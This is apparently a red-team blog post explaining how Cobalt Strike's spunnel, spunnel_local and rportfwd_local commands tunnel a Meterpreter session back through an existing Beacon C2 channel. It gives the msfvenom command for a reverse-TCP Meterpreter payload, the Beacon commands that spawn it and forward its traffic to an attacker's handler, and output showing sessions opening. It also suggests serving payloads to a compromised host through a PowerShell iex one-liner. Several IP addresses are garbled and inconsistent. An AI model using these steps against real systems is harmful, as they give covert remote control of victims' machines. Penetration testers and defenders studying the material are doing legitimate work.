Cobalt Strike Spawn & Tunnel
Cobalt Strike 4.2 introduced a new set of “spawn and tunnel” commands called spunnel and spunnel_local. Shortly after release, Raphael Mudge published a blog post entitled Core Impact and Cobalt Strike Interoperability, in which he details how these can be used to tunnel Core Impact’s agent through Beacon. The CS manual also says the commands were “designed specifically” for this purpose.
Core Impact is an exploit framework available from HelpSystems – the same company that acquired Strategic Cyber and Cobalt Strike. It stands to reason that they would want to harmonise products under their umbrella, but it made it quite easy for non-CI customers to dismiss this functionality as not interesting or relevant.
However, the implementation is generic enough to utilise any offensive toolset that can produce position-independent shellcode, so this post will demonstrate how to use these commands with Meterpreter shellcode. But Rasta, you may be thinking. Beacon already has foreign listeners, shspawn and shinject commands, which can already spawn Meterpreter sessions via Beacon. Why do we need more commands to do the same job?
Offensive-in-depth arguments aside, the foreign listener is rather limited because it only supports 32-bit and is incompatible with stageless payloads. shspawn and shinject are more flexible because they allow us to provide any arbitrary shellcode – including 64-bit and stageless.
The most obvious way to get the Meterpreter C2 traffic back to Metasploit is to use the HTTP/S payload type – the downside being that it creates a new egress channel. If we’ve already taken the time and care to make the Beacon traffic as OPSEC safe as we can, having to repeat that whole process to accommodate a Meterpreter session isn’t going to be fun times. This is why tunnelling an implant over the C2 channel of an existing one is a nice proposition.
beacon> help spunnel Use: spunnel [x86|x64] [host] [port] [/path/to/agent.bin] This is the spawn and tunnel command. Spawn an agent and create a reverse port forward tunnel to its controller.
Before we get ahead of ourselves, let’s generate a reverse TCP payload that will point to 127.0.0.1:4444.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 200262 bytes Saved as: /tmp/msf.bin
Then execute spunnel where 126.96.36.199 is the public IP of the server running the Metasploit Framework.
beacon> spunnel x64 188.8.131.52 4444 C:\Payloads\msf.bin [*] Tasked beacon to spawn msf.bin (x64) and forward 127.0.0.1:4444 to 184.108.40.206:4444 [+] started reverse port forward on 4444 to 220.127.116.11:4444 [+] host called home, sent: 200296 bytes
As per the usual function of the reverse port forward, it will listen for traffic hitting port 4444 and forward it to 18.104.22.168:4444. So we get a new TCP Meterpreter session appear.
msf6 exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Meterpreter session 1 opened (10.64.41.77:4444 -> 22.214.171.124:49194) at 2021-06-12 14:08:34 -0400
This doesn’t seem all that remarkable as it seems to be a combined/automated version of rportfwd + shspawn. You can indeed achieve the same end by running them separately yourself.
Things get more interesting when we look at spunnel_local.
beacon> help spunnel_local Use: spunnel_local [x86|x64] [host] [port] [/path/to/agent.bin] This is the spawn and tunnel command. Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller.
The key difference with spunnel_local, is that the traffic will be redirected all the way to the host running the Cobalt Strike client, rather than just the Team Server. In our example of using Meterpreter, this allows us to run the Metasploit Framework on our own local machine (either natively, in a VM or in WSL etc).
In this case, I’m running the CS client on Windows and msfconsole in Ubuntu using WSL2. Set the multi handler to listen on 0.0.0.0:4444.
msf6 exploit(multi/handler) > set LHOST 0.0.0.0 LHOST => 0.0.0.0 msf6 exploit(multi/handler) > exploit -j [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 0.0.0.0:4444
A consequence of WSL is that from the perspective of my Windows host, this is only bound to 127.0.0.1.
C:>netstat -anp tcp | findstr 4444 TCP 127.0.0.1:4444 0.0.0.0:0 LISTENING
Tell spunnel_local to bind to 4444 and also forward to 127.0.0.1:4444. Because the traffic is coming all the way back to my host, this is 127.0.0.1:4444 on my machine, not the “victim” machine.
If you’re running Metasploit in a VM that uses NAT, Bridged, or Internal networking, you would specify the IP address of the VM rather than 127.0.0.1.
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin [*] Tasked beacon to spawn msf.bin (x64) and forward 127.0.0.1:4444 to rasta -> 127.0.0.1:4444 [+] started reverse port forward on 4444 to rasta -> 127.0.0.1:4444 [+] host called home, sent: 200296 bytes
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:33144) at 2021-06-12 20:05:26 +0100
I think being able to run this type of tooling locally in VMs and being able to tunnel the traffic all the back to use without needing to manually setup iptables and ssh port forwarded shenanigans, is really cool.
In addition to the spunnel commands, there’s a rportfwd_local command.
As you can deduce, this is a generic means of producing a reverse port forward that will tunnel back to the Cobalt Strike’s host, rather than the Team Server.
I often use a reverse port forward in situations where I have some sort of RCE against a host (say, xp_cmdshell on a MS SQL box) and I want to execute a large payload that won’t fit in the RCE method. Something like a PowerShell one-liner to iex over a rportfwd works very well.
The standard rportfwd command requires that the Team Server forward traffic to a publicly accessible IP (just like our first spunnel example), or to somewhere else with the help of other forwarding magic.
Whereas rportfwd_local would allow us to start a Python HTTP server on our localhost, a VM or in WSL and have the remote host download a payload directly from us.
Another use case for rportfwd_local is covered in this post.